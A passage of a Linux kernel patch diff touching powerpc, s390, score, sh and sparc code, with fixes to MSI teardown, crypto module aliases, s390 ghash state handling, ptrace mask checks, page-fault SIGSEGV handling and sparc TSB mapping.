+187,8 @@ static irqreturn_t ras_epow_interrupt(int irq, void *dev_id) int state; int critical; - status = rtas_get_sensor(EPOW_SENSOR_TOKEN, EPOW_SENSOR_INDEX, &state); + status = rtas_get_sensor_fast(EPOW_SENSOR_TOKEN, EPOW_SENSOR_INDEX, + &state); if (state > 3) critical = 1; /* Time Critical */ diff --git a/arch/powerpc/sysdev/axonram.c b/arch/powerpc/sysdev/axonram.c index 1c16141c031c9..1fea24944ff4c 100644 --- a/arch/powerpc/sysdev/axonram.c +++ b/arch/powerpc/sysdev/axonram.c @@ -155,7 +155,7 @@ axon_ram_direct_access(struct block_device *device, sector_t sector, } *kaddr = (void *)(bank->ph_addr + offset); - *pfn = virt_to_phys(kaddr) >> PAGE_SHIFT; + *pfn = virt_to_phys(*kaddr) >> PAGE_SHIFT; return 0; } diff --git a/arch/powerpc/sysdev/fsl_msi.c b/arch/powerpc/sysdev/fsl_msi.c index ab02db3d02d8f..6616fa6199453 100644 --- a/arch/powerpc/sysdev/fsl_msi.c +++ b/arch/powerpc/sysdev/fsl_msi.c @@ -108,15 +108,16 @@ static void fsl_teardown_msi_irqs(struct pci_dev *pdev) { struct msi_desc *entry; struct fsl_msi *msi_data; + irq_hw_number_t hwirq; list_for_each_entry(entry, &pdev->msi_list, list) { if (entry->irq == NO_IRQ) continue; + hwirq = virq_to_hw(entry->irq); msi_data = irq_get_chip_data(entry->irq); irq_set_msi_desc(entry->irq, NULL); - msi_bitmap_free_hwirqs(&msi_data->bitmap, - virq_to_hw(entry->irq), 1); irq_dispose_mapping(entry->irq); + msi_bitmap_free_hwirqs(&msi_data->bitmap, hwirq, 1); } return; diff --git a/arch/powerpc/sysdev/mpic_pasemi_msi.c b/arch/powerpc/sysdev/mpic_pasemi_msi.c index 38e62382070c9..9e14d82287a16 100644 --- a/arch/powerpc/sysdev/mpic_pasemi_msi.c +++ b/arch/powerpc/sysdev/mpic_pasemi_msi.c @@ -74,6 +74,7 @@ static int pasemi_msi_check_device(struct pci_dev *pdev, int nvec, int type) static void pasemi_msi_teardown_msi_irqs(struct pci_dev *pdev) { struct msi_desc *entry; + irq_hw_number_t hwirq; pr_debug("pasemi_msi_teardown_msi_irqs, pdev %p\n", pdev); @@ -81,10 +82,11 @@ static void pasemi_msi_teardown_msi_irqs(struct pci_dev *pdev) if (entry->irq == NO_IRQ) continue; + hwirq = virq_to_hw(entry->irq); irq_set_msi_desc(entry->irq, NULL); - msi_bitmap_free_hwirqs(&msi_mpic->msi_bitmap, - virq_to_hw(entry->irq), ALLOC_CHUNK); irq_dispose_mapping(entry->irq); + msi_bitmap_free_hwirqs(&msi_mpic->msi_bitmap, + hwirq, ALLOC_CHUNK); } return; diff --git a/arch/powerpc/sysdev/mpic_u3msi.c b/arch/powerpc/sysdev/mpic_u3msi.c index 9a7aa0ed9c1c2..dfc3486bf8027 100644 --- a/arch/powerpc/sysdev/mpic_u3msi.c +++ b/arch/powerpc/sysdev/mpic_u3msi.c @@ -124,15 +124,16 @@ static int u3msi_msi_check_device(struct pci_dev *pdev, int nvec, int type) static void u3msi_teardown_msi_irqs(struct pci_dev *pdev) { struct msi_desc *entry; + irq_hw_number_t hwirq; list_for_each_entry(entry, &pdev->msi_list, list) { if (entry->irq == NO_IRQ) continue; + hwirq = virq_to_hw(entry->irq); irq_set_msi_desc(entry->irq, NULL); - msi_bitmap_free_hwirqs(&msi_mpic->msi_bitmap, - virq_to_hw(entry->irq), 1); irq_dispose_mapping(entry->irq); + msi_bitmap_free_hwirqs(&msi_mpic->msi_bitmap, hwirq, 1); } return; diff --git a/arch/powerpc/sysdev/ppc4xx_msi.c b/arch/powerpc/sysdev/ppc4xx_msi.c index 43948da837a79..c3e65129940b7 100644 --- a/arch/powerpc/sysdev/ppc4xx_msi.c +++ b/arch/powerpc/sysdev/ppc4xx_msi.c @@ -121,16 +121,17 @@ void ppc4xx_teardown_msi_irqs(struct pci_dev *dev) { struct msi_desc *entry; struct ppc4xx_msi *msi_data = &ppc4xx_msi; + irq_hw_number_t hwirq; dev_dbg(&dev->dev, "PCIE-MSI: tearing down msi irqs\n"); list_for_each_entry(entry, &dev->msi_list, list) { if (entry->irq == NO_IRQ) continue; + hwirq = virq_to_hw(entry->irq); irq_set_msi_desc(entry->irq, NULL); - msi_bitmap_free_hwirqs(&msi_data->bitmap, - virq_to_hw(entry->irq), 1); irq_dispose_mapping(entry->irq); + msi_bitmap_free_hwirqs(&msi_data->bitmap, hwirq, 1); } } diff --git a/arch/powerpc/xmon/xmon.c b/arch/powerpc/xmon/xmon.c index 96bf5bd30fbca..89e57280d2e25 100644 --- a/arch/powerpc/xmon/xmon.c +++ b/arch/powerpc/xmon/xmon.c @@ -288,10 +288,11 @@ static inline void disable_surveillance(void) args.token = rtas_token("set-indicator"); if (args.token == RTAS_UNKNOWN_SERVICE) return; - args.nargs = 3; - args.nret = 1; + args.token = cpu_to_be32(args.token); + args.nargs = cpu_to_be32(3); + args.nret = cpu_to_be32(1); args.rets = &args.args[3]; - args.args[0] = SURVEILLANCE_TOKEN; + args.args[0] = cpu_to_be32(SURVEILLANCE_TOKEN); args.args[1] = 0; args.args[2] = 0; enter_rtas(__pa(&args)); diff --git a/arch/s390/crypto/aes_s390.c b/arch/s390/crypto/aes_s390.c index fd104db9cea1b..92eb4d6ad39dc 100644 --- a/arch/s390/crypto/aes_s390.c +++ b/arch/s390/crypto/aes_s390.c @@ -970,7 +970,7 @@ static void __exit aes_s390_fini(void) module_init(aes_s390_init); module_exit(aes_s390_fini); -MODULE_ALIAS("aes-all"); +MODULE_ALIAS_CRYPTO("aes-all"); MODULE_DESCRIPTION("Rijndael (AES) Cipher Algorithm"); MODULE_LICENSE("GPL"); diff --git a/arch/s390/crypto/des_s390.c b/arch/s390/crypto/des_s390.c index f2d6cccddcf89..a89feffb22b52 100644 --- a/arch/s390/crypto/des_s390.c +++ b/arch/s390/crypto/des_s390.c @@ -619,8 +619,8 @@ static void __exit des_s390_exit(void) module_init(des_s390_init); module_exit(des_s390_exit); -MODULE_ALIAS("des"); -MODULE_ALIAS("des3_ede"); +MODULE_ALIAS_CRYPTO("des"); +MODULE_ALIAS_CRYPTO("des3_ede"); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("DES & Triple DES EDE Cipher Algorithms"); diff --git a/arch/s390/crypto/ghash_s390.c b/arch/s390/crypto/ghash_s390.c index d43485d142e91..b258110da952d 100644 --- a/arch/s390/crypto/ghash_s390.c +++ b/arch/s390/crypto/ghash_s390.c @@ -16,11 +16,12 @@ #define GHASH_DIGEST_SIZE 16 struct ghash_ctx { - u8 icv[16]; - u8 key[16]; + u8 key[GHASH_BLOCK_SIZE]; }; struct ghash_desc_ctx { + u8 icv[GHASH_BLOCK_SIZE]; + u8 key[GHASH_BLOCK_SIZE]; u8 buffer[GHASH_BLOCK_SIZE]; u32 bytes; }; @@ -28,8 +29,10 @@ struct ghash_desc_ctx { static int ghash_init(struct shash_desc *desc) { struct ghash_desc_ctx *dctx = shash_desc_ctx(desc); + struct ghash_ctx *ctx = crypto_shash_ctx(desc->tfm); memset(dctx, 0, sizeof(*dctx)); + memcpy(dctx->key, ctx->key, GHASH_BLOCK_SIZE); return 0; } @@ -45,7 +48,6 @@ static int ghash_setkey(struct crypto_shash *tfm, } memcpy(ctx->key, key, GHASH_BLOCK_SIZE); - memset(ctx->icv, 0, GHASH_BLOCK_SIZE); return 0; } @@ -54,7 +56,6 @@ static int ghash_update(struct shash_desc *desc, const u8 *src, unsigned int srclen) { struct ghash_desc_ctx *dctx = shash_desc_ctx(desc); - struct ghash_ctx *ctx = crypto_shash_ctx(desc->tfm); unsigned int n; u8 *buf = dctx->buffer; int ret; @@ -70,7 +71,7 @@ static int ghash_update(struct shash_desc *desc, src += n; if (!dctx->bytes) { - ret = crypt_s390_kimd(KIMD_GHASH, ctx, buf, + ret = crypt_s390_kimd(KIMD_GHASH, dctx, buf, GHASH_BLOCK_SIZE); if (ret != GHASH_BLOCK_SIZE) return -EIO; @@ -79,7 +80,7 @@ static int ghash_update(struct shash_desc *desc, n = srclen & ~(GHASH_BLOCK_SIZE - 1); if (n) { - ret = crypt_s390_kimd(KIMD_GHASH, ctx, src, n); + ret = crypt_s390_kimd(KIMD_GHASH, dctx, src, n); if (ret != n) return -EIO; src += n; @@ -94,7 +95,7 @@ static int ghash_update(struct shash_desc *desc, return 0; } -static int ghash_flush(struct ghash_ctx *ctx, struct ghash_desc_ctx *dctx) +static int ghash_flush(struct ghash_desc_ctx *dctx) { u8 *buf = dctx->buffer; int ret; @@ -104,24 +105,24 @@ static int ghash_flush(struct ghash_ctx *ctx, struct ghash_desc_ctx *dctx) memset(pos, 0, dctx->bytes); - ret = crypt_s390_kimd(KIMD_GHASH, ctx, buf, GHASH_BLOCK_SIZE); + ret = crypt_s390_kimd(KIMD_GHASH, dctx, buf, GHASH_BLOCK_SIZE); if (ret != GHASH_BLOCK_SIZE) return -EIO; + + dctx->bytes = 0; } - dctx->bytes = 0; return 0; } static int ghash_final(struct shash_desc *desc, u8 *dst) { struct ghash_desc_ctx *dctx = shash_desc_ctx(desc); - struct ghash_ctx *ctx = crypto_shash_ctx(desc->tfm); int ret; - ret = ghash_flush(ctx, dctx); + ret = ghash_flush(dctx); if (!ret) - memcpy(dst, ctx->icv, GHASH_BLOCK_SIZE); + memcpy(dst, dctx->icv, GHASH_BLOCK_SIZE); return ret; } @@ -160,7 +161,7 @@ static void __exit ghash_mod_exit(void) module_init(ghash_mod_init); module_exit(ghash_mod_exit); -MODULE_ALIAS("ghash"); +MODULE_ALIAS_CRYPTO("ghash"); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("GHASH Message Digest Algorithm, s390 implementation"); diff --git a/arch/s390/crypto/sha1_s390.c b/arch/s390/crypto/sha1_s390.c index a1b3a9dc9d8a0..5b2bee323694b 100644 --- a/arch/s390/crypto/sha1_s390.c +++ b/arch/s390/crypto/sha1_s390.c @@ -103,6 +103,6 @@ static void __exit sha1_s390_fini(void) module_init(sha1_s390_init); module_exit(sha1_s390_fini); -MODULE_ALIAS("sha1"); +MODULE_ALIAS_CRYPTO("sha1"); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("SHA1 Secure Hash Algorithm"); diff --git a/arch/s390/crypto/sha256_s390.c b/arch/s390/crypto/sha256_s390.c index 9b853809a492b..b74ff158108c9 100644 --- a/arch/s390/crypto/sha256_s390.c +++ b/arch/s390/crypto/sha256_s390.c @@ -143,7 +143,7 @@ static void __exit sha256_s390_fini(void) module_init(sha256_s390_init); module_exit(sha256_s390_fini); -MODULE_ALIAS("sha256"); -MODULE_ALIAS("sha224"); +MODULE_ALIAS_CRYPTO("sha256"); +MODULE_ALIAS_CRYPTO("sha224"); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("SHA256 and SHA224 Secure Hash Algorithm"); diff --git a/arch/s390/crypto/sha512_s390.c b/arch/s390/crypto/sha512_s390.c index 32a81383b69c1..0c36989ba182b 100644 --- a/arch/s390/crypto/sha512_s390.c +++ b/arch/s390/crypto/sha512_s390.c @@ -86,7 +86,7 @@ static struct shash_alg sha512_alg = { } }; -MODULE_ALIAS("sha512"); +MODULE_ALIAS_CRYPTO("sha512"); static int sha384_init(struct shash_desc *desc) { @@ -126,7 +126,7 @@ static struct shash_alg sha384_alg = { } }; -MODULE_ALIAS("sha384"); +MODULE_ALIAS_CRYPTO("sha384"); static int __init init(void) { diff --git a/arch/s390/include/asm/syscall.h b/arch/s390/include/asm/syscall.h index bebc0bd8abc2e..25b4b1f0c0ce2 100644 --- a/arch/s390/include/asm/syscall.h +++ b/arch/s390/include/asm/syscall.h @@ -54,7 +54,7 @@ static inline void syscall_set_return_value(struct task_struct *task, struct pt_regs *regs, int error, long val) { - regs->gprs[2] = error ? -error : val; + regs->gprs[2] = error ? error : val; } static inline void syscall_get_arguments(struct task_struct *task, diff --git a/arch/s390/kernel/compat_linux.c b/arch/s390/kernel/compat_linux.c index 8b6e4f5288a29..a98afed9348b7 100644 --- a/arch/s390/kernel/compat_linux.c +++ b/arch/s390/kernel/compat_linux.c @@ -248,7 +248,7 @@ asmlinkage long sys32_setgroups16(int gidsetsize, u16 __user *grouplist) struct group_info *group_info; int retval; - if (!capable(CAP_SETGID)) + if (!may_setgroups()) return -EPERM; if ((unsigned)gidsetsize > NGROUPS_MAX) return -EINVAL; diff --git a/arch/s390/kernel/ptrace.c b/arch/s390/kernel/ptrace.c index a314c57f4e94a..9677d935583ca 100644 --- a/arch/s390/kernel/ptrace.c +++ b/arch/s390/kernel/ptrace.c @@ -314,7 +314,9 @@ static int __poke_user(struct task_struct *child, addr_t addr, addr_t data) * psw and gprs are stored on the stack */ if (addr == (addr_t) &dummy->regs.psw.mask && - ((data & ~PSW_MASK_USER) != psw_user_bits || + (((data^psw_user_bits) & ~PSW_MASK_USER) || + (((data^psw_user_bits) & PSW_MASK_ASC) && + ((data|psw_user_bits) & PSW_MASK_ASC) == PSW_MASK_ASC) || ((data & PSW_MASK_EA) && !(data & PSW_MASK_BA)))) /* Invalid psw mask. */ return -EINVAL; @@ -627,7 +629,10 @@ static int __poke_user_compat(struct task_struct *child, */ if (addr == (addr_t) &dummy32->regs.psw.mask) { /* Build a 64 bit psw mask from 31 bit mask. */ - if ((tmp & ~PSW32_MASK_USER) != psw32_user_bits) + if (((tmp^psw32_user_bits) & ~PSW32_MASK_USER) || + (((tmp^psw32_user_bits) & PSW32_MASK_ASC) && + ((tmp|psw32_user_bits) & PSW32_MASK_ASC) + == PSW32_MASK_ASC)) /* Invalid psw mask. */ return -EINVAL; regs->psw.mask = (regs->psw.mask & ~PSW_MASK_USER) | diff --git a/arch/s390/kernel/sclp.S b/arch/s390/kernel/sclp.S index 29bd7bec41768..1ecd47b5e2507 100644 --- a/arch/s390/kernel/sclp.S +++ b/arch/s390/kernel/sclp.S @@ -276,6 +276,8 @@ ENTRY(_sclp_print_early) jno .Lesa2 ahi %r15,-80 stmh %r6,%r15,96(%r15) # store upper register halves + basr %r13,0 + lmh %r0,%r15,.Lzeroes-.(%r13) # clear upper register halves .Lesa2: #endif lr %r10,%r2 # save string pointer @@ -299,6 +301,8 @@ ENTRY(_sclp_print_early) #endif lm %r6,%r15,120(%r15) # restore registers br %r14 +.Lzeroes: + .fill 64,4,0 .LwritedataS4: .long 0x00760005 # SCLP command for write data diff --git a/arch/s390/kernel/suspend.c b/arch/s390/kernel/suspend.c index c479d2f9605ba..58cbb75e89e90 100644 --- a/arch/s390/kernel/suspend.c +++ b/arch/s390/kernel/suspend.c @@ -9,12 +9,9 @@ #include #include #include +#include #include - -/* - * References to section boundaries - */ -extern const void __nosave_begin, __nosave_end; +#include /* * The restore of the saved pages in an hibernation image will set @@ -138,6 +135,8 @@ int pfn_is_nosave(unsigned long pfn) { unsigned long nosave_begin_pfn = PFN_DOWN(__pa(&__nosave_begin)); unsigned long nosave_end_pfn = PFN_DOWN(__pa(&__nosave_end)); + unsigned long eshared_pfn = PFN_DOWN(__pa(&_eshared)) - 1; + unsigned long stext_pfn = PFN_DOWN(__pa(&_stext)); /* Always save lowcore pages (LC protection might be enabled). */ if (pfn <= LC_PAGES) @@ -145,6 +144,8 @@ int pfn_is_nosave(unsigned long pfn) if (pfn >= nosave_begin_pfn && pfn < nosave_end_pfn) return 1; /* Skip memory holes and read-only pages (NSS, DCSS, ...). */ + if (pfn >= stext_pfn && pfn <= eshared_pfn) + return ipl_info.type == IPL_TYPE_NSS ? 1 : 0; if (tprot(PFN_PHYS(pfn))) return 1; return 0; diff --git a/arch/s390/kvm/interrupt.c b/arch/s390/kvm/interrupt.c index 5c948177529e2..bc79ab00536f7 100644 --- a/arch/s390/kvm/interrupt.c +++ b/arch/s390/kvm/interrupt.c @@ -71,6 +71,7 @@ static int __interrupt_is_deliverable(struct kvm_vcpu *vcpu, return 0; if (vcpu->arch.sie_block->gcr[0] & 0x2000ul) return 1; + return 0; case KVM_S390_INT_EMERGENCY: if (psw_extint_disabled(vcpu)) return 0; diff --git a/arch/s390/kvm/priv.c b/arch/s390/kvm/priv.c index 6bbd7b5a0bbee..0220c2ba75908 100644 --- a/arch/s390/kvm/priv.c +++ b/arch/s390/kvm/priv.c @@ -328,6 +328,7 @@ static void handle_stsi_3_2_2(struct kvm_vcpu *vcpu, struct sysinfo_3_2_2 *mem) for (n = mem->count - 1; n > 0 ; n--) memcpy(&mem->vm[n], &mem->vm[n - 1], sizeof(mem->vm[0])); + memset(&mem->vm[0], 0, sizeof(mem->vm[0])); mem->vm[0].cpus_total = cpus; mem->vm[0].cpus_configured = cpus; mem->vm[0].cpus_standby = 0; diff --git a/arch/s390/mm/extable.c b/arch/s390/mm/extable.c index 4d1ee88864e8a..18c8b819b0aa9 100644 --- a/arch/s390/mm/extable.c +++ b/arch/s390/mm/extable.c @@ -52,12 +52,16 @@ void sort_extable(struct exception_table_entry *start, int i; /* Normalize entries to being relative to the start of the section */ - for (p = start, i = 0; p < finish; p++, i += 8) + for (p = start, i = 0; p < finish; p++, i += 8) { p->insn += i; + p->fixup += i + 4; + } sort(start, finish - start, sizeof(*start), cmp_ex, NULL); /* Denormalize all entries */ - for (p = start, i = 0; p < finish; p++, i += 8) + for (p = start, i = 0; p < finish; p++, i += 8) { p->insn -= i; + p->fixup -= i + 4; + } } #ifdef CONFIG_MODULES diff --git a/arch/s390/mm/fault.c b/arch/s390/mm/fault.c index 416facec4a332..d214321db727f 100644 --- a/arch/s390/mm/fault.c +++ b/arch/s390/mm/fault.c @@ -244,6 +244,12 @@ static noinline void do_fault_error(struct pt_regs *regs, int fault) do_no_context(regs); else pagefault_out_of_memory(); + } else if (fault & VM_FAULT_SIGSEGV) { + /* Kernel mode? Handle exceptions or die */ + if (!user_mode(regs)) + do_no_context(regs); + else + do_sigsegv(regs, SEGV_MAPERR); } else if (fault & VM_FAULT_SIGBUS) { /* Kernel mode? Handle exceptions or die */ if (!user_mode(regs)) diff --git a/arch/score/mm/fault.c b/arch/score/mm/fault.c index 43b35b828a3b1..6860beb2a280d 100644 --- a/arch/score/mm/fault.c +++ b/arch/score/mm/fault.c @@ -105,7 +105,6 @@ asmlinkage void do_page_fault(struct pt_regs *regs, unsigned long write, goto bad_area; } -survive: /* * If for any reason at all we couldn't handle the fault, * make sure we exit gracefully rather than endlessly redo @@ -115,6 +114,8 @@ asmlinkage void do_page_fault(struct pt_regs *regs, unsigned long write, if (unlikely(fault & VM_FAULT_ERROR)) { if (fault & VM_FAULT_OOM) goto out_of_memory; + else if (fault & VM_FAULT_SIGSEGV) + goto bad_area; else if (fault & VM_FAULT_SIGBUS) goto do_sigbus; BUG(); @@ -172,15 +173,10 @@ asmlinkage void do_page_fault(struct pt_regs *regs, unsigned long write, */ out_of_memory: up_read(&mm->mmap_sem); - if (is_global_init(tsk)) { - yield(); - down_read(&mm->mmap_sem); - goto survive; - } - printk("VM: killing process %s\n", tsk->comm); - if (user_mode(regs)) - do_group_exit(SIGKILL); - goto no_context; + if (!user_mode(regs)) + goto no_context; + pagefault_out_of_memory(); + return; do_sigbus: up_read(&mm->mmap_sem); diff --git a/arch/sh/include/asm/sections.h b/arch/sh/include/asm/sections.h index 1b6199740e98a..7a99e6af63728 100644 --- a/arch/sh/include/asm/sections.h +++ b/arch/sh/include/asm/sections.h @@ -3,7 +3,6 @@ #include -extern long __nosave_begin, __nosave_end; extern long __machvec_start, __machvec_end; extern char __uncached_start, __uncached_end; extern char __start_eh_frame[], __stop_eh_frame[]; diff --git a/arch/sh/include/uapi/asm/unistd_64.h b/arch/sh/include/uapi/asm/unistd_64.h index e6820c86e8c7b..47ebd5b5ed55e 100644 --- a/arch/sh/include/uapi/asm/unistd_64.h +++ b/arch/sh/include/uapi/asm/unistd_64.h @@ -278,7 +278,7 @@ #define __NR_fsetxattr 256 #define __NR_getxattr 257 #define __NR_lgetxattr 258 -#define __NR_fgetxattr 269 +#define __NR_fgetxattr 259 #define __NR_listxattr 260 #define __NR_llistxattr 261 #define __NR_flistxattr 262 diff --git a/arch/sh/mm/fault.c b/arch/sh/mm/fault.c index 541dc61015088..a58fec9b55e01 100644 --- a/arch/sh/mm/fault.c +++ b/arch/sh/mm/fault.c @@ -353,6 +353,8 @@ mm_fault_error(struct pt_regs *regs, unsigned long error_code, } else { if (fault & VM_FAULT_SIGBUS) do_sigbus(regs, error_code, address); + else if (fault & VM_FAULT_SIGSEGV) + bad_area(regs, error_code, address); else BUG(); } diff --git a/arch/sparc/crypto/aes_glue.c b/arch/sparc/crypto/aes_glue.c index 503e6d96ad4e4..dc78cdd43e0ab 100644 --- a/arch/sparc/crypto/aes_glue.c +++ b/arch/sparc/crypto/aes_glue.c @@ -433,6 +433,7 @@ static struct crypto_alg algs[] = { { .blkcipher = { .min_keysize = AES_MIN_KEY_SIZE, .max_keysize = AES_MAX_KEY_SIZE, + .ivsize = AES_BLOCK_SIZE, .setkey = aes_set_key, .encrypt = cbc_encrypt, .decrypt = cbc_decrypt, @@ -452,6 +453,7 @@ static struct crypto_alg algs[] = { { .blkcipher = { .min_keysize = AES_MIN_KEY_SIZE, .max_keysize = AES_MAX_KEY_SIZE, + .ivsize = AES_BLOCK_SIZE, .setkey = aes_set_key, .encrypt = ctr_crypt, .decrypt = ctr_crypt, @@ -499,6 +501,6 @@ module_exit(aes_sparc64_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("AES Secure Hash Algorithm, sparc64 aes opcode accelerated"); -MODULE_ALIAS("aes"); +MODULE_ALIAS_CRYPTO("aes"); #include "crop_devid.c" diff --git a/arch/sparc/crypto/camellia_glue.c b/arch/sparc/crypto/camellia_glue.c index 888f6260b4ec5..eb87d6dd86b1a 100644 --- a/arch/sparc/crypto/camellia_glue.c +++ b/arch/sparc/crypto/camellia_glue.c @@ -274,6 +274,7 @@ static struct crypto_alg algs[] = { { .blkcipher = { .min_keysize = CAMELLIA_MIN_KEY_SIZE, .max_keysize = CAMELLIA_MAX_KEY_SIZE, + .ivsize = CAMELLIA_BLOCK_SIZE, .setkey = camellia_set_key, .encrypt = cbc_encrypt, .decrypt = cbc_decrypt, @@ -322,6 +323,6 @@ module_exit(camellia_sparc64_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Camellia Cipher Algorithm, sparc64 camellia opcode accelerated"); -MODULE_ALIAS("aes"); +MODULE_ALIAS_CRYPTO("aes"); #include "crop_devid.c" diff --git a/arch/sparc/crypto/crc32c_glue.c b/arch/sparc/crypto/crc32c_glue.c index 5162fad912ce0..d1064e46efe8b 100644 --- a/arch/sparc/crypto/crc32c_glue.c +++ b/arch/sparc/crypto/crc32c_glue.c @@ -176,6 +176,6 @@ module_exit(crc32c_sparc64_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("CRC32c (Castagnoli), sparc64 crc32c opcode accelerated"); -MODULE_ALIAS("crc32c"); +MODULE_ALIAS_CRYPTO("crc32c"); #include "crop_devid.c" diff --git a/arch/sparc/crypto/des_glue.c b/arch/sparc/crypto/des_glue.c index 3065bc61f9d3b..1359bfc544e40 100644 --- a/arch/sparc/crypto/des_glue.c +++ b/arch/sparc/crypto/des_glue.c @@ -429,6 +429,7 @@ static struct crypto_alg algs[] = { { .blkcipher = { .min_keysize = DES_KEY_SIZE, .max_keysize = DES_KEY_SIZE, + .ivsize = DES_BLOCK_SIZE, .setkey = des_set_key, .encrypt = cbc_encrypt, .decrypt = cbc_decrypt, @@ -485,6 +486,7 @@ static struct crypto_alg algs[] = { { .blkcipher = { .min_keysize = DES3_EDE_KEY_SIZE, .max_keysize = DES3_EDE_KEY_SIZE, + .ivsize = DES3_EDE_BLOCK_SIZE, .setkey = des3_ede_set_key, .encrypt = cbc3_encrypt, .decrypt = cbc3_decrypt, @@ -532,6 +534,6 @@ module_exit(des_sparc64_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("DES & Triple DES EDE Cipher Algorithms, sparc64 des opcode accelerated"); -MODULE_ALIAS("des"); +MODULE_ALIAS_CRYPTO("des"); #include "crop_devid.c" diff --git a/arch/sparc/crypto/md5_glue.c b/arch/sparc/crypto/md5_glue.c index 09a9ea1dfb697..64c7ff5f72a9f 100644 --- a/arch/sparc/crypto/md5_glue.c +++ b/arch/sparc/crypto/md5_glue.c @@ -185,6 +185,6 @@ module_exit(md5_sparc64_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("MD5 Secure Hash Algorithm, sparc64 md5 opcode accelerated"); -MODULE_ALIAS("md5"); +MODULE_ALIAS_CRYPTO("md5"); #include "crop_devid.c" diff --git a/arch/sparc/crypto/sha1_glue.c b/arch/sparc/crypto/sha1_glue.c index 6cd5f29e1e0d5..1b3e47accc746 100644 --- a/arch/sparc/crypto/sha1_glue.c +++ b/arch/sparc/crypto/sha1_glue.c @@ -180,6 +180,6 @@ module_exit(sha1_sparc64_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("SHA1 Secure Hash Algorithm, sparc64 sha1 opcode accelerated"); -MODULE_ALIAS("sha1"); +MODULE_ALIAS_CRYPTO("sha1"); #include "crop_devid.c" diff --git a/arch/sparc/crypto/sha256_glue.c b/arch/sparc/crypto/sha256_glue.c index 04f555ab26800..41f27cca2a225 100644 --- a/arch/sparc/crypto/sha256_glue.c +++ b/arch/sparc/crypto/sha256_glue.c @@ -237,7 +237,7 @@ module_exit(sha256_sparc64_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("SHA-224 and SHA-256 Secure Hash Algorithm, sparc64 sha256 opcode accelerated"); -MODULE_ALIAS("sha224"); -MODULE_ALIAS("sha256"); +MODULE_ALIAS_CRYPTO("sha224"); +MODULE_ALIAS_CRYPTO("sha256"); #include "crop_devid.c" diff --git a/arch/sparc/crypto/sha512_glue.c b/arch/sparc/crypto/sha512_glue.c index f04d1994d19aa..9fff88541b8c0 100644 --- a/arch/sparc/crypto/sha512_glue.c +++ b/arch/sparc/crypto/sha512_glue.c @@ -222,7 +222,7 @@ module_exit(sha512_sparc64_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("SHA-384 and SHA-512 Secure Hash Algorithm, sparc64 sha512 opcode accelerated"); -MODULE_ALIAS("sha384"); -MODULE_ALIAS("sha512"); +MODULE_ALIAS_CRYPTO("sha384"); +MODULE_ALIAS_CRYPTO("sha512"); #include "crop_devid.c" diff --git a/arch/sparc/include/asm/atomic_32.h b/arch/sparc/include/asm/atomic_32.h index 905832aa9e9ec..a0ed182ae73c5 100644 --- a/arch/sparc/include/asm/atomic_32.h +++ b/arch/sparc/include/asm/atomic_32.h @@ -21,7 +21,7 @@ extern int __atomic_add_return(int, atomic_t *); extern int atomic_cmpxchg(atomic_t *, int, int); -#define atomic_xchg(v, new) (xchg(&((v)->counter), new)) +extern int atomic_xchg(atomic_t *, int); extern int __atomic_add_unless(atomic_t *, int, int); extern void atomic_set(atomic_t *, int); diff --git a/arch/sparc/include/asm/cmpxchg_32.h b/arch/sparc/include/asm/cmpxchg_32.h index 1fae1a02e3c21..ae0f9a7a314d1 100644 --- a/arch/sparc/include/asm/cmpxchg_32.h +++ b/arch/sparc/include/asm/cmpxchg_32.h @@ -11,22 +11,14 @@ #ifndef __ARCH_SPARC_CMPXCHG__ #define __ARCH_SPARC_CMPXCHG__ -static inline unsigned long xchg_u32(__volatile__ unsigned long *m, unsigned long val) -{ - __asm__ __volatile__("swap [%2], %0" - : "=&r" (val) - : "0" (val), "r" (m) - : "memory"); - return val; -} - +extern unsigned long __xchg_u32(volatile u32 *m, u32 new); extern void __xchg_called_with_bad_pointer(void); static inline unsigned long __xchg(unsigned long x, __volatile__ void * ptr, int size) { switch (size) { case 4: - return xchg_u32(ptr, x); + return __xchg_u32(ptr, x); } __xchg_called_with_bad_pointer(); return x; diff --git a/arch/sparc/include/asm/pgtable_64.h b/arch/sparc/include/asm/pgtable_64.h index f81d8803680c5..cb6f4cee4d8ea 100644 --- a/arch/sparc/include/asm/pgtable_64.h +++ b/arch/sparc/include/asm/pgtable_64.h @@ -24,7 +24,8 @@ /* The kernel image occupies 0x4000000 to 0x6000000 (4MB --> 96MB). * The page copy blockops can use 0x6000000 to 0x8000000. - * The TSB is mapped in the 0x8000000 to 0xa000000 range. + * The 8K TSB is mapped in the 0x8000000 to 0x8400000 range. + * The 4M TSB is mapped in the 0x8400000 to 0x8800000 range. * The PROM resides in an area spanning 0xf0000000 to 0x100000000. * The vmalloc area spans 0x100000000 to 0x200000000. * Since modules need to be in the lowest 32-bits of the address space, @@ -33,7 +34,8 @@ * 0x400000000. */ #define TLBTEMP_BASE _AC(0x0000000006000000,UL) -#define TSBMAP_BASE _AC(0x0000000008000000,UL) +#define TSBMAP_8K_BASE _AC(0x0000000008000000,UL) +#define TSBMAP_4M_BASE _AC(0x0000000008400000,UL) #define MODULES_VADDR _AC(0x0000000010000000,UL) #define MODULES_LEN _AC(0x00000000e0000000,UL) #define MODULES_END _AC(0x00000000f0000000,UL) diff --git a/arch/sparc/include/asm/tlbflush_64.h b/arch/sparc/include/asm/tlbflush_64.h index f0d6a9700f4c8..1a4bb971e06d4 100644 --- a/arch/sparc/include/asm/tlbflush_64.h +++ b/arch/sparc/include/asm/tlbflush_64.h @@ -35,6 +35,8 @@ static inline void flush_tlb_range(struct vm_area_struct *vma, { } +void flush_tlb_kernel_range(unsigned long start, unsigned long end); + #define __HAVE_ARCH_ENTER_LAZY_MMU_MODE extern void flush_tlb_pending(void); @@ -49,11 +51,6 @@ extern void __flush_tlb_kernel_range(unsigned long start, unsigned long end); #ifndef CONFIG_SMP -#define flush_tlb_kernel_range(start,end) \ -do { flush_tsb_kernel_range(start,end); \ - 